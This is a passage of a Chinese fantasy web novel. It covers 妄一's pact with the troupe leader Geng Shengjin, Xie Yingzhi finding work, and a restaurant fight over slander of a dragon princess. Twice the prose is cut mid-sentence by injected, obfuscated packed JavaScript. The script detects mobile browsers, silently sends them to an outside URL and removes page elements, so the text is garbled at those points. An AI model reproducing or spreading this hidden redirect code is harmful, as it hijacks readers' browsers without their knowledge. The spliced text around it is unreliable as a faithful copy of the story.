妄一听着连连咂舌,这样好听的软和话,阿辞从没对他讲过。于是他叫谢盈芝不必客气,她对外面的生活还未适应,不若早点休息,缓和心情。 西屋是三间屋面,谢盈芝住在进去后的左手间。 阿辞清理完灶台上的战场,特意到窗口对她说了告辞,才慢慢回去。 长夜宁静,谢盈芝躺在松软的床上,只觉得一阵昏昏欲睡。可惜眼皮有了困意,脑袋却异常清醒。在床上辗转反侧多时,她还是缓缓坐起身,披好外衣。 床边照明的烛火轻轻摇曳,但她无论如何都无法放松下来。 与外面的世界隔绝多年,再次回归自由,她除了一开始的狂喜,现只余前所未有的迷茫与不安。 大人好心收留,但一直住在这里不是长久之计。她不知道之后该去做什么,反而觉得自己就像一叶小舟漂泊于海,或是随波逐流,或被掀翻沉底。 谢盈芝一遍又一遍地安抚自己,万事开头难,该熬的总要熬过去的,可她多害怕是在自欺欺人。 愁绪难解,她索性下床推开沉重的房门。 屋外不是一片的黑暗,是蓝与紫交织的天空,大片繁星藏在云里。院子里静悄悄的,唯有几只蝈蝈躲在草丛,发出阵阵清脆的鸣叫声。 眼前的胡菜地已开出了花,金黄的颜色在夜风吹拂下烂若朝晖。但令人不解的是,旁边悬空的玉纸灯笼,燃着淡淡的烛火,是在为谁照明? 正想着,远处便传来了轻微的脚步声。 盈芝姑娘扶在门边眺望,便见一个黑色的影子朝这边快步走来。 这么晚了,来的是谁? 谢盈芝朝主屋看了一眼,大人所在石屋一片漆黑。正纠结要不要将大人唤起,黑影便悄无声息地走近。 借玉纸灯笼透射出来的光,她看清这是一个男子的长相。 他面容白皙,却不似健康肤色,身材虽为清瘦,却犹如劲松。 谢盈芝有刹那的失神,她还不知莲烨门有别的陌生男子。不等她反应过来,男子先朝着远处一笑,随后才留意到她,对她轻轻点了点头后便回了茅庐。从他进来到消失,不过是喝口水的功夫。纵然谢盈芝有国色天香之貌,落在那人眼里也只有匆匆一瞥,仿佛只是院子里一株寻常草木。 谢盈芝思索他应是认得她的,不然也不会对她点头。只是恕她愚钝,她并不知道那人的身份。 “这么晚了,盈芝姑娘还没睡吗?” 一道温和的声音,突然从头顶传来,既打破了寂静,也让沉浸在思绪中的谢盈芝,心头猛地一跳。 55. 重振旗鼓寻新生 谢盈芝抬头望去,大人正坐在她屋顶上,支腿遥望圆月。 她忽然明白,适才那人进来的最初一笑,是对着檐上之人。她拢了拢耳边垂落的发丝,说:“大人也还未歇下。” “不,我已睡过一觉。盈芝姑娘若也清醒了,那便上来陪我吹吹风如何?”妄一伏下身,伸出手,“旁人想请你月下乘风,千金一掷都未必有结果,我厚着脸皮,不知是否有这个机会?” 谢盈芝大方一笑,回道:“大人哪怕不说,我也愿上来,只是您这打趣人的话要改口了,我舍弃了从前的名头,现在一无所有。” 她笑着搭上手掌,妄一轻轻一提,将她提上屋檐。 高处的视野比地面上的宽阔,谢盈芝坐在大人身侧,看着远处的山川树林与月色一同沦陷。 “刚刚那人是谁?”她问,“我多年前来过一次莲烨门,那时还未见过这位人物。” 妄一答:“你不认识他,他就是晚间,阿辞提过一句的‘凌师傅’。近来才在门中落脚,他常在南路狱,连我都见不着几回了。” 谢盈芝了然道:“我适才看了一眼,还以为苍鸯殿哪位大人闯进。” 妄一调侃道:“不怪你想错,他生前本就是王孙贵胄,长相又偏文气,可惜英年早逝。” “那么年轻就.....”谢盈芝顿了顿话语,“我看他面色从容,想必是心思阔达之人。” “被你说中了,他不仅阔达,而且还颇为乐观,时常让我觉得他的遭遇不过小事一件。”妄一看向她,“那你呢?盈芝姑娘,你被监禁许久,出来后也无半点怨气吗?” 谢盈芝垂下首,眼底有一丝暗涌流动。原是一句随意问起的话,她却沉默起来。 “大人,我若说我从未怨过,未免显得我太口是心非。可一切是我咎由自取,我不怪任何人。” 水井下干枯多年,没有青苔也没有虫子,在什么都没有的地儿,与她相伴的只有一盏照明灯。 她看了灯火二十年,那灯火也照了她二十年。凭借井口有时落下来的雨水和飞雪,她大致算出是否又过了一年。 “盈芝姑娘,你就没有什么想问我的吗?” 妄一不信她消息闭塞多年,对外面的事一点都不好奇,往小了说,比如......某个人,她是否还在意? “大人,我已蹉跎多年,或许那人已不在世上,可是我还能活很久。”谢盈芝声音轻缓,在无人看见的地方,她将裙摆揉皱了一块。 妄一仰躺在瓦片上,后脑枕在掌心。夜风中,盈芝姑娘陪着坐一会儿就下去了,她说等天亮便出去寻一份营生,好在鬼京立足。 她要振作起来,靠自己的力量重新开始。 可她不知道这是一件很困难的事,既决定要谋生,便避不开在外抛头露脸。 盈芝姑娘容貌出众,且衣着鲜亮,在苍鸯殿穿行时,不少人的目光都若有若无拂过她的脸庞,连苍鸯殿的其他几位掌门也略有耳闻。 金屋藏娇不是什么丢脸的事,大家暗地里笑莲烨掌门此时才开窍。认识这样的美娇娘,难怪会拒绝帝姬。 如此荒唐的流言悄悄在殿内流传,承英听说时,表情尤为不屑,说不管妄一和哪个女子有关系,要给名分了,请务必带人到御朝门的登记。 后不知怎的,流言传得连远在仙君府的仙子也知道了。 锦阕伫立窗前,看着墙上的美人执扇图。画上女子侧身而坐,耳边的红珠琉璃坠衬得她眉眼娇艳。 外人或许不晓得谢盈芝的来路,仙子却已打听清楚。只要她仔细找,还能从街上摆摊的穷画家手里,找出花魁的旧时画像。 此前多年,谢盈芝杳无音讯,今忽然现身,还蹦跶到莲烨门去。她与凌延卿同进一扇门,仙子怎肯安心呢? 眸光一闪,仙子心中隐约有了盘算。 一旁的丫鬟安分守己,锦阕望向她时候,眼睛如水温柔。 芜香一时失神,问仙子有何吩咐? 外面流言四起,盈芝姑娘忙于生计,不闻分毫。她连续几天起早,让阿辞每每过来都扑了个空。 这天也不意外,他揣了包热腾腾的馒头,怕人家噎着还带了壶豆浆,得知她出门了,脸上竟难掩失落。 幸有莲烨大人笑纳。妄一毫不客气地嚼着咸菜馒头,倒了杯热腾腾的豆浆。 就因吃得津津有味,铁头眼巴巴地望他。妄一撕了一角,丢给它尝个滋味。 铁头的大口吞之,吃完不够又继续看妄一。妄一摊开空荡的手掌,表示没有了。阿辞没胃口,见状把自己那份给铁头。 妄一打趣他像患上了相思病,阿辞懒得辩驳。 妄一自觉没意思,理了理衣襟,道:“那你继续在这儿等她吧,我出去一趟。” 自那次与耿胜金再见,他一直惦记约定的日子。不管对方来不来,妄一都要走这一趟。他敢如此,也是相信耿胜金不会要他性命,甚至自信点儿说,宝贝他还来不及。 半山亭在郊外的边远地带,小小石亭建立在半山腰,故此得名“半山亭”。亭中无桌无凳椅,想来当初的建造之人也没想过有人会久留。 亭中有风吹过,摇动大片的野草丛林。 妄一远比约定的时间更早到,但过了许久未见耿胜金现身。 难道他没听到那句约定?妄一心头掠过一丝怅然,山风吹动他的衣角,仿佛也在劝他不必等。 他不死心,仰头看向天际。半山亭静得出奇,过了许久,无人途经就算了,竟连蛇虫鼠蚁也没听见响声。怎么?都去哪儿逃难了? 妄一深吸口气,朝亭外大喊:“耿班主既已至此,何故不现身?我单枪匹马赶来,你还怕我不成?如若不想见我,我便回去了。” 他的声音在山间回荡,渐渐消散于远方。 耿胜金小心又多疑,或许真的不在吧,妄一转身欲要打道回府,山水总会有相逢,不怕他不找来。 然而林间树叶沙沙作响,某魁梧大汉闪现跃到他面前:“你怎知我来了?” 妄一愣了愣,说:“我不知道。”他只是随口诈两句。 耿胜金的脸色黑如锅底,赶在他发怒前,妄一又道:“耿班主观察我这么久,该确定我没带任何人来吧。” “哼,我不过想看看你是不是要耍把戏。”耿胜金盯着他,“还有,你究竟是男是女?” 他至今都没摸透夺走侍灵珠的是什么人,一会儿男,一会儿女,现在又变成男了? 以他的见识,女子乔装成男子有些几率,可男子假扮成女子又谈何容易?先不说二者体型上就有太多差异,光是红衣郎君脖子上有明显的喉结,他就知道眼前站着的是货真价实的男人。 妄一从容回道:“班主知我在苍鸯殿任职,替各位大人跑腿,有个什么改头换面的法术都是很正常的。除了我外表是假的,其他都是真的。我来半山亭赴约,也是因为有事想求杏花班班主帮忙,既如此,不如双方交好?” “呸!”耿胜金啐了一口,“你偷了我的珠子,坏我的好事,还想和我双方交好?你知道我带了多少人过来吗?夺珠之恨,不共戴天!” 妄一笑了笑,他明白三言两语难以劝解,只好转头在腰间摸索。 但这举动落在耿胜金眼里,无疑像在侧身掏匕首,欲取人性命。 一时间,草丛里蹲着的人“唰唰唰”地冒出来,个个手握大刀,杀气腾腾。他们将红衣郎君团团围住,好像对方再有多余的动作,下一刻就有人头落地之势。 妄一取出一本书册,莫名其妙地看着周围多了一拨人,问:“我拿我的诚意出来,你们大惊小怪是何故?” 耿胜金的目光聚集在他手里的书册,问:“你这是什么东西?” “自是好东西,”妄一将书页的折痕抚平,展示道,“班主从乐理,我想应当耳闻它的大名。” 耿胜金当他在故弄玄虚,妄一径直将书塞给他。 “.......《仙音法序》?!”在看清上面的书名后,耿胜金猛然一怔。 这是由各路乐师集智慧撰写而成的书籍,在他们这一行更是鼎鼎有名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你在苍鸯殿混得好,会有事要求我?”耿胜金不敢掉以轻心,“你倒是说说看,是为什么事?” “耿班主能找到秘术,又能寻到古国遗物,于我眼中绝非无能之辈。”妄一一本正经道,“还记得你说过侍灵珠能与我融合吗?你推断我与神佑王室或许有点关系,我想请你查查我的身世。” “哦?这倒是个新鲜事。”耿胜金讥讽道,“你连自己的身世都不知晓?不对!如果你说的都是真的,苍鸯殿怎会收一个来历不明之人?” 妄一道:“我要是知道自己的身世,何必让你查?能进苍鸯殿,不代表一切。” 看他神色不像做戏,耿胜金犹豫一瞬,先把《仙音法序》收入贴身袋子里。谨防稍后突生意外,人又像上次那样消失,连这补偿也一并收回。 妄一将他这小动作看在眼里,心中的胜算也有了,大笑一声,爽朗道:“我是诚心想跟耿班主互惠互利,空口白话谁也不信,没有长久的朋友,但总有长久的利益吧。” 这话说到了耿胜金的心坎里,他抓人又不是冲着要对方性命去的,更何况这人似乎不简单。 在他反复纠结之时,妄一再次道:“若能得耿班主相助,我留心找找,或许还有《仙音法序》的其他章。” “你......”耿胜金愣了下,追问道,“你那儿还有?” 妄一坦然一笑。 耿胜金暗自较量一番,抬眼问:“你确定只此一件事,别无其它?”他终于有松口的迹象。 “是,我只为此事。”妄一微微拱手。 耿胜金冷哼道:“行吧!就当我贪心,为了你那多余的几成好处!”他眼神仍旧紧绷,“你想动用我的人脉,但我丑话说在前头,没那么快搜到消息,还有就算找到了,我怎么联系你?” 妄一缓和道:“班主派人递信到莲烨门就是,无论是你有消息相告,还是要请我配合你取珠。” “莲烨门?”耿胜金听此名号,略微震惊。他转头再把妄一好一顿瞧。 妄一仍旧微笑着,几次对话,他大致摸透耿胜金的性子。对这位杏花班的班主,温言良语根本不管用,还不如放肆点。 耿胜金用微凸的眼珠瞪着人,像是确定了一件事。他扭过头,似赌气般说道:“罢了,不管你是谁,我总之最后信你一次!” 56. 双喜临门外就餐 半山亭达成目的,妄一心情尤为不错,原以为要费诸多精力才能谈和,谁知比想象中要快许多。 盈芝姑娘亦是如此,她曾嘲笑自己怕是要寻几年才能寻到合适的活计,今日竟便早早在院子里择菜。 绿叶菜新鲜又带有水汽,即使她指缝弄得脏兮兮,也无嫌弃之意。自从经历牢狱之灾,她便平和无比。 反观边上的阿辞,他手执木梳,无精打采地给铁头梳毛。因一直梳同一地方,没梳几下,铁头就跑开不理他。 妄一对谢盈芝道:“看样子,盈芝姑娘有好消息了?” “嗯,是好消息。”谢盈芝放下菜叶,含羞一笑。 她在街上徘徊几日,歪打误撞进了一家专为女子美容的店,名叫“玉芙楼”。 她对别的事物不感兴趣,但对女儿家的东西,一开口便滔滔不绝。尤其她这模样,一进门槛说明来意,老板娘的眼睛都亮了。如此妙人,就算什么都不做,整日搬个凳子坐在门前,也是顶好的活招牌,更何况人家确有独特的品味和眼界。 为避免被竞争对手抢走,老板娘给她开了一个不错的工钱。只是玉芙楼不提供住宿,当然谢盈芝也没提这个要求。 她明儿就要正式开工,她向大人承诺,等第一份月例银子下来了,一定要好好感谢大人。 妄一笑道:“行,我帮你记着了。” 只有阿辞越听越失落,只觉得盈芝姑娘在将来某一天势必搬走。 真奇怪,当初不接纳的人是他,日后舍不得的居然也是他。 他出言挽留过人家,说她在封闭的环境里待了这么多年,出去被人欺负怎么办?谢盈芝偏偏胆子大。 “今日算双喜临门,盈芝姑娘找到活计,我也正好解决一桩麻烦事。”妄一念阿辞上回厨艺发挥不错,扭头又对他报以期待道,“倘若阿辞再大发善心做一顿家常便饭,那就更好了。” 阿辞一惊,顾不得伤感了,立刻反问:“好端端,怎么又要我做饭?” 做一顿饭不难,可他上次为好好表现,撑着小巧玲珑的身材,又抄锅子又抄铲的,睡了一觉,醒来抬胳膊都龇牙咧嘴。但他又不想失了风度,便商量道:“一顿饭而已嘛,谁也别辛苦了,咱偶尔出去下馆子也不错,我请客就是了。就当祝......盈芝姑娘万事亨通,也祝大人一帆风顺。” “好!阿辞向来大方,你盛意邀请,那我们就恭敬不如从命了。”妄一拍拍他肩膀。 谢盈芝和他们已算熟络,笑着回了声:“好。” 一行人说出发便出发,没通知过凌延卿,但莲烨门齐聚祝贺,此事如何能少的了他? “你们在外等候,我去去就来。”南路狱前,妄一率先迈进那道门槛。 彼时牢房里正值众囚犯中场休息,当他们看到久未逢面的莲烨大人,面带笑容,闲庭漫步。还是原来的脸庞,还是熟悉的味道,只是无人敢抬头细赏。 妄一一出现,压倒了囚犯们的闲聊之声,刚才谁还讨论莲烨门当值过半,还不见掌事大人,这不,思念出结果了,曹操赶来了。 红衣郎君穿廊而过,眼神扫荡,蹲大牢的各位都刻意低调,谁身边有稻草,都得给自己裹裹,防止点名出去挨招。毕竟那些被关过的前辈,都曾受过骨折之伤。 南路狱里有个耳房,休息的时候,凌延卿便在那里。 经过多天的道德讲座,囚犯们虽没个个向善,但装模作样差不多会了。妄一到来之前,他们谈的是什么?这个说出去后要从商,那个说出去后要种田。 种田的想当地主,从商的想找个山头开矿,哪天干不下去了,落草为寇也方便些。 凌延卿坐在里面,听他们谈论乱七八糟的想法,翻书的手停了好几回,直到外面谈天说地的闲话戛然而止,他出来看看。 在看清来人时,他微微一怔。 妄一坦然一笑,体恤下属,莲烨掌门自然是会的。 到自家部下热爱劝人从良的事业,但囚犯们的不良习性非一天而就,要是完全能蜕变成良民,也不至于被恨殊掌门关个数年之久。 他们二人的咒痕更是只有刚开始那会儿有所消减,如今是一动不动了。 妄一和凌部下说句辛苦了,一会儿他做东,阿辞付钱,回去再买两包菊花茶消消火,回头记南路狱的账上。 耳尖的囚犯听到这两位都要出去,心里乐开花,祈祷他们快点走,不要逗留,省得醒过味来要追究。 阿辞和谢盈芝在外等了会儿,迟迟不见人出来,就想进去看看。但阿辞说牢里乌合之众多,盈芝姑娘一个女子,容貌又好,若被哪个歹徒惦记上,怕会有麻烦。 他还说,如果姑娘在外行走不方便,他也能来回护送,反正他一天天闲着没要紧事干,做个护花使者未尝不可。 阿辞这般殷勤,明眼人都能看出来。谢盈芝不傻,她低头表示受之有愧。 阿辞急忙辩解:“你别这么想啊,我确实有空才和你说的,就当是我找事做,你切勿多心啊。如果给你带来了烦恼,那就当我没说吧,哈哈!” 他笑得有几分牵强,盈芝姑娘柔声道:“初见小哥不知怀有此等热心,盈芝在世无依无靠,要是不嫌弃,兴许可以义结金兰......” 阿辞呆愣不知作何反应,义结金兰并非他的本意! 按年龄来算,他确实比谢盈芝年长些,可若成兄妹,此生必也只是兄妹。 “盈芝姑娘的好意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277594|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我看他受用不起。”正巧,妄一带凌延卿出来了,他眉目未改,话照旧毒辣,“你不知赤狐一族独爱洒脱,孑然一身是他们的向往,盈芝姑娘别为难他了。” 阿辞摸摸耳朵,轻若蚊吟道:“大人还挺了解我的。” 谢盈芝则半信半疑,世上真会有人甘愿孤独吗?反正她面壁思过多年,再把她关回去,铁定是要疯了的。转而思及阿辞的名字,似乎也带了离别之意。 “都别干站着了,有什么话到了馆子再说吧。”妄一催促道:“再不走,馆子挤满人。吃不着,就还得请阿辞师傅再露一手,特别是那道叫什么杞果牛骨汤的,我断定他在厨艺上肯定是有悟性的。” 阿辞瑟缩了下,道:“大人言重了,什么悟性不悟性的,我就是看凌师傅做过,自己再稍加改动。现在正主在此,我可不敢班门弄斧!” “高处不胜寒”的道理,他心里门儿清,他才不做出头鸟,把这顶大大方方,端端正正的帽子扣在凌某人头上。 “时间宝贵别浪费啊,我提议的陈宝饭馆出了名的好吃,再耽搁下去,咱真得排队了。”阿辞忙叫他们跟上。 陈宝饭馆开在沉宝巷子附近,掌柜的名叫“陈宝”,平日里便生意不错。妄一几人去了才知里面的布局只能容纳十来张方桌,加之人手有限,又不想再招外人进来,几个伙计忙得晕头转向。 这位掌柜曾在祥云楼做过几年,后厨现也由他亲自担任。 馆内虽座无虚席,但上菜的速度并不慢。没一会儿,伙计便端着山药紫荆汤。 “几位客官,菜上齐了,请慢用啊。” 凌延卿扫了眼桌上,不错,五个里面四个都是大补的食材。他问妄一身子不舒服吗? 妄一道:“什么话?我不过是觉得大家这阵子都辛苦,难得聚齐一桌,吃些好的。”他给就近的凌延卿夹了只鸡腿,“特别是你,整日在监狱干的是动动嘴皮的活,那里空气不好,又压抑,多吃点吧。”然后又问店家要了酒来,挨个敬一杯。 谢盈芝端起小碗回敬,说大人太过客气。 想到她明日要去玉芙楼,妄一便问她日常生活适应得如何? “大人不必挂心,盈芝出来后虽觉得各处新鲜,但也不至于闹出大笑话来。玉芙楼的东家也很满意我,知道我住在苍鸯殿,我也不会受委屈。” 妄一点点头,想了想又道:“倘若真有难处,你务必同我讲,不要藏着憋着。” 盈芝姑娘感激地点点头,说:“盈芝明白。” 正值饭点,陈宝饭馆生意火爆。周围换了一波又一波的食客,谈笑声此起彼伏。 妄一正和他们说着话呢,某些不合时宜的言论竟也不可阻挡地传入他的耳。 57. 陈宝饭馆流言生 “老兄你吃慢点,咱出来聊天叙旧,哪有你这样从进门到坐下只顾吃东西的?你喜欢这碗芹黄鱼丝,待会儿我给你打包一份就是啦!” “两份!要两份!” “知道知道,那你慢点吃啊!” 饭馆里众多食客进进出出,蝙蝠精时不时叹气,自从兄弟成家后,他们聚少离多。 “鼠兄,不是哥们离间感情,你家婆娘确实凶狠,咱出来聚聚,不过片刻功夫,她也管恁多。依我说你得给她振振夫纲了。” 田鼠精吸溜筷子,抬起沾满酱汁的脸,说道:“别提了,你没成家,当然不明白其中感受。想当年你嫂子也是柔情似水,在给我生了五个崽后才性情大变。整日不是大的闯祸,就是小的闹脾气,她被这些琐事烦得没处发泄,吼我几句也是应该的,应该的......”说着,他渐渐感到无奈,夹菜的动作都慢了几分。 蝙蝠精讪讪道:“咱们这一片谁不晓得老兄你做妖朴实,有事都自己硬扛,但我真得说一句,嫂子那脾气,你受得了今天,明天还不知要怎么过呢。” 田鼠精顺着话头一思索,沉默了。 邻桌精怪闲聊家中长短,妄一无意窃听,蝙蝠精安慰老兄,一连几十句都未缓和,于是道:“别哭丧着脸啦,嫂子肯定是爱你的,不然也不会给你生五个崽。天下女人那么多,要论脾气,我看最差还有凛海那位蛟龙公主垫底呢,哥,我这儿有个小道消息,兄弟你听说过没?” 什么消息?妄一饮了一口汤,竖起耳朵。 “有传言说那位公主好像要订亲啦,不晓得真的假的。” “哦,我不知道呀,你嫂子从不让我关心这些。” “那位公主我也只是略有耳闻,听说她脾气臭得很!坊间传她掳去九九八十一个男人回龙宫,我的天,凛海寂地......那是给活物待的地方吗?冻死好几个男人后,老龙王看不下去,才给她向天帝求了个夫婿,为的是什么?就是神仙抗冻呀!” 田鼠精的阴霾一扫而光,大笑起来还惊动别桌的客人。 妄一的脸色微微阴沉,蝙蝠精未觉异样,继续侃侃而谈。 “论身份,人家是高贵的公主,老龙王何苦愁嫁呢?我琢磨她女儿八成不仅脾气不行,恐怕容貌也堪忧。你见过蛟龙真身没?黑漆漆的远没有真龙的金光好看嘞......哎呀,糟糕快闪!” 蝙蝠精话说一半,一张结实的板凳横空劈来。板凳砸得桌子四分五裂,蝙蝠精拉着兄弟,一颗心扑通扑通跳不停。 “谁?谁搞暗算,谁不让咱吃饭?”田鼠精在家畏首畏尾,在外倒是一副好汉样。 蝙蝠精更是吓得食欲全无,骂道:“谁不长眼欺负到我们头上?!” “是我。”妄一站起身,面无笑意地看向他们,“我想问问你们怎敢说出那等毫无依据的编排之语?” “我们说什么要你管啊?这是你家吗?哥俩喝一杯,是你耳朵长,还反问起我们!”蝙蝠精露出尖牙。 饭馆突发状况,妄一横眉冷对,凌延卿并未消减食欲,甚至再心中默默点评:这道荤菜菜做得挺好,不油不腻,清爽可口,改天自己也试试。 盈芝姑娘看向阿辞,阿辞压低嗓子对她道:“大人自会解决的,咱们管好自己就行了。盈芝姑娘还想再吃些什么?” 谢盈芝摇摇头,目光不由自主地落在妄一身上,仍带几分担忧。 凌延卿悄然离席,他拉过边上呆若木鸡的伙计:“店家,别愣着看戏了,那几盘没吃完的劳烦你帮忙打包。还有,代我向掌柜致谢,他的厨艺很好。” “哦哦哦!是是是!”伙计从震惊里回过神,“客官您稍等,我这就帮您去拿几张荷叶来!” 他嘴上应了,暗地想的是快通知掌柜外面出事了,可刚抬步子要走,那客官又拉住他胳膊。 伙计满脸疑惑,凌延卿没说明原由,惋惜地对那几个菜道:“算了,来不及了。” 话音刚落,蝙蝠精就破口大叫:“各位都看见了,咱在这儿好好吃饭,这小年轻没事找事,我们岂有白受挑衅之理?” “好一个‘没事找事’!你嘴里不干不净。我听见了,就不会姑息!”妄一单手一掀,方桌飞向对面。 瓷器的落地声,将桌上菜肴摔了个一无所有。 葱椒鸭子没了,肝泥蛋羹也没了,凌延卿叹息一声,对伙计道:“好了,叫你家掌柜出来收拾吧。” 伙计不敢再等,他们经营得好,全靠口碑撑着。 蝙蝠精反应极快,堪堪躲开飞来的桌子。周围都是一群看热闹不嫌事大的主儿,陈宝饭馆更是达到空前的热闹。 田鼠精和蝙蝠精一拥而上,料这小年轻没大本事,把他打趴下,定让他敬茶谢罪。 这般壮志若换了对手,或许有胜算,可他们今天有眼无珠踢到了钢板。 妄一不用双手,只靠左踢右踹,耗时未过半炷香,就把这场大战结束在他们的哀嚎下。 田鼠精被打掉门牙,蝙蝠精被压在凳脚下。难兄难弟哪还管得着脸面,直呼:“好汉饶命,好汉饶命,我们兄弟不过喝喝酒吃吃饭,为什么寻我们不痛快?” “哼,我也只是喝喝酒吃吃饭,还想问你们为何要我耳朵不清净?”妄一冷着脸,坐在压着蝙蝠精的凳子上,“你们刚刚不还在谈论那位公主?说得挺起劲啊,我没听全,现在当着人多,再说一遍吧。” 田鼠精哪知会遇上这样一个硬茬,看好兄弟就要被压得喘不过气了,连忙软话相求:“这事闹得!我们兄弟俩酒后失言,口出狂言罢了。”见蝙蝠精疼得直哼哼,他又焦急道:“好汉,您挪一挪腚吧,我兄弟快喘不过气了!” 他关心蝙蝠精的生死,妄一却不肯轻饶。流言蜚语乃隐形之剑,今天他恰好听见了,可还有没听见的呢?帝姬和他们无冤无仇,凭什么要被他们胡乱诋毁? “其实我非凛海人士,但谣言诽谤乃一大罪,何况那位是蛟龙族的帝姬。我能饶过你们,帝姬能饶吗?”妄一收起厉色,语气依旧冰冷,“要不这样,我说了不算,别人说了也不算,不如你们亲自去趟凛海,真得到帝姬的原谅,我便放过你们。” 两只精怪瞬间吓得两腿发软,凛海寂是以“冰天雪地”著称的严寒之地!小精小怪没有高深的道行,入界都是去做冰雕的料。再说尊贵的帝姬,是他们想见就能见的? 谢盈芝从未见大人如此生气,阿辞亦不敢劝阻,凌延卿更是埋头翻起馆内的食单。 闻讯赶来的掌柜搓着手,赔笑道:“那什么,这位小哥别动气,我们饭馆小本生意,还请给个面子高抬贵手。大家因缘相聚,别计较许多。” 妄一冷笑道:“我也不想和掌柜的过不去,但你不清楚他们犯的是什么罪。区区市井之徒也敢侮辱公主,若让蛟龙族知道了,不光是你这个店要没了,恐怕在场听戏看表演的人也要没了!” 这话不是唬人的,事关蛟龙帝姬的名誉,真要追查起来,这些人有几个脑袋都不够砍的。 掌柜道:“小哥,你也知道饭桌上喝酒吹牛都是常有的事。他们不过多喝几口酒便胡言乱语,你今天就算不看我老脸,但看在大家同是鬼京子民的份上,放过他 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见店家不应答,他继续道:“呐,我平时可不是轻易助人为乐的,只是我心地善良,加之身上最后一枚银钱给了路上卖身葬父的可怜人,所以......” 掌柜有些不耐烦,这年头连卖身葬父的老骗术都搬出来了。可表面上,他还是得装作客气的模样:“客官您真会开玩笑,出来吃饭总得准备点钱吧,要是没有,我们就得报官了,说不定一会儿你要跟那两位大哥一同去凛海寂地做伴了。” “那倒不必了,我刚从那儿出来。”那人轻咳一声,不再扯闲。他盯着手上的戒指,犹豫再三还是取下,“这是我的随行之物,意义非凡,我暂且把它押在这里?再过两日,或许是一日,就有人上门赎它了。” 那是一枚幽蓝色的戒指,凌延卿转头正好瞥见,眼神有了细微的变化。 掌柜拿起戒指端详,此物触手冰凉,他有些不太满意道:“客官当我不识货吗?这戒指非金非银的,什么材质也看不出。客官,我正忙着呢......” 听到他话里的不屑,那人也不生气。毕竟有些东西的价值,不是由材质而定。他欲拿回,有人便从掌柜手里夺过戒指,举在眼前。 顷刻,凌延卿把戒指重新归还,推断道:“这似乎是用凛海特有的冰石制成,若论材质,确实抵不了这顿饭钱,” 轻飘飘的一句话,掌柜的瞬间抓住其中的关键词——凛海特有的冰石。 何为“特有”?那必定是说这戒指的材质,只生长于特殊之地。 “客观您莫非与那儿有交情?” 玄衣男子眼神懒怠,并未作答。 掌柜态度马上发生转变:“客官,刚才您说的那桩事,只要能解决,别说这顿饭,您住在哪儿,我再多送你两个菜。”他热络地握住对方的手,此刻只想饭馆里息事宁人。 那人不欲刁难,将戒指戴回手上,扬了扬头说道:“我要的不多,免这顿饭钱足矣。” 他说话爽快,掌柜的眉开眼笑,怕他变卦,又为其挪开椅子,请他快快上场。 那人从座位站起,他大步流星朝红衣郎君走去,准备化解这场干戈。 妄一还气在头上,忽如其来的一只手拍了拍他的后背,他下意识侧目,与其对上的瞬间像看到了可怕的事物。他的愠怒烟消云散,取而代之的是讶异与不敢置信。 玄衣男子笑得爽朗,与他耳语几句。 究竟说了什么?妄一一字没听清,只沉浸在巨大的震惊里,对来者唤了一句:“......笙媱帝姬?!” 58. 狭路相逢是仇敌 妄一声音很轻,轻到只有眼前的玄衣郎能听见。 那人“咦”了一声,不在意地摸摸自己的脸庞:“我与她真有如此相像?” 妄一愕然地看着他,心想这是试探吗?他与帝姬样貌至少有八分相似,他们究竟是何关系?但看他笑容友善,将妄一请离那张压着蝙蝠精的长凳,便知他没有恶意。 “我从凛海寂地来,与那位帝姬正好相熟,侠士刚才仗义出言,我替她谢过了。” “......行。”妄一撤回目光,简短回应。 田鼠精慌忙搀扶起兄弟,不敢多待,叩谢之后匆忙逃离,因走得太急,差点撞倒门口的迎客松。 他们狼狈逃窜,玄衣郎不禁摇头失笑,暗暗吐了一个字:“该!”他欲结交妄一,询问其尊姓大名,却无人回应。 他往旁边看去,妄一已站于柜台,和掌柜的交谈。 经此一事,陈宝掌柜哪肯收钱?可妄一仍叫阿辞把钱付全,另把砸碎的盆碗一并算上。如此一来,这价格差不多能去祥云楼吃一顿了。 阿辞嘴上不嚷嚷,眼中偶有泪光闪烁。 “别伤感了,东西是我砸的,钱算你垫付的,这个月俸禄下来便补给你。”妄一对他保证道。 阿辞面色略微好转,想到盈芝姑娘在,他坚强地摆手道:“没没没,我没伤心呢,没伤心呢。” 那位玄衣郎倒是大方,走过来道:“侠士方才举动令我大为欣赏,有心相识,不如这顿饭算我头上,只是我现在暂无银钱,钱款要延后才到。” 阿辞忍不住白了一眼,他对长得像帝姬的人绝无好感,上回被帝姬截掉的毛发,至今还没长回来。说什么钱款要延后到,信不信掌柜的棍子现在就到? 妄一退后一步拉开距离,神色较为冷淡:“阁下请留步,我们有要事在身,就此别过吧。” “你们这就要走了?”那人似是感到意外,“你们住在哪儿?” 其余几人警惕看他一眼,阿辞更是将盈芝姑娘护在身后。 他窘迫地解释:“其实我是初到鬼京,人生地不熟多有顾忌。进城后先顾着就餐,可我真正要去的地方是苍鸯殿,不知与诸位顺路否?” 妄一想都没想就答:“不顺路。” “哦,那真是可惜了。”他微微叹了口气,“我来这里只为两件事,一是算账,二才是投奔。两件撞在一起,都与苍鸯殿有关。” “说起这个地方,京中应该无人不知,无人不晓吧。我进来时问过这家伙计,他给我指了个方向,说是出了巷子往东南,恢弘殿宇全京独此一座。” 他自顾自说得起劲,即便无人搭理也不觉得尴尬,直到他提及要去寻苍鸯殿的莲烨掌门时,他终于反应过来。 “你们怎么不说话?为什么这样看着我?是不是这个莲烨门行事猖狂,无法无天,你们生活于此,不敢有半句怨言?” 妄一眼神扫过他手中的戒指,问:“阁下与莲烨掌门结的何仇?” 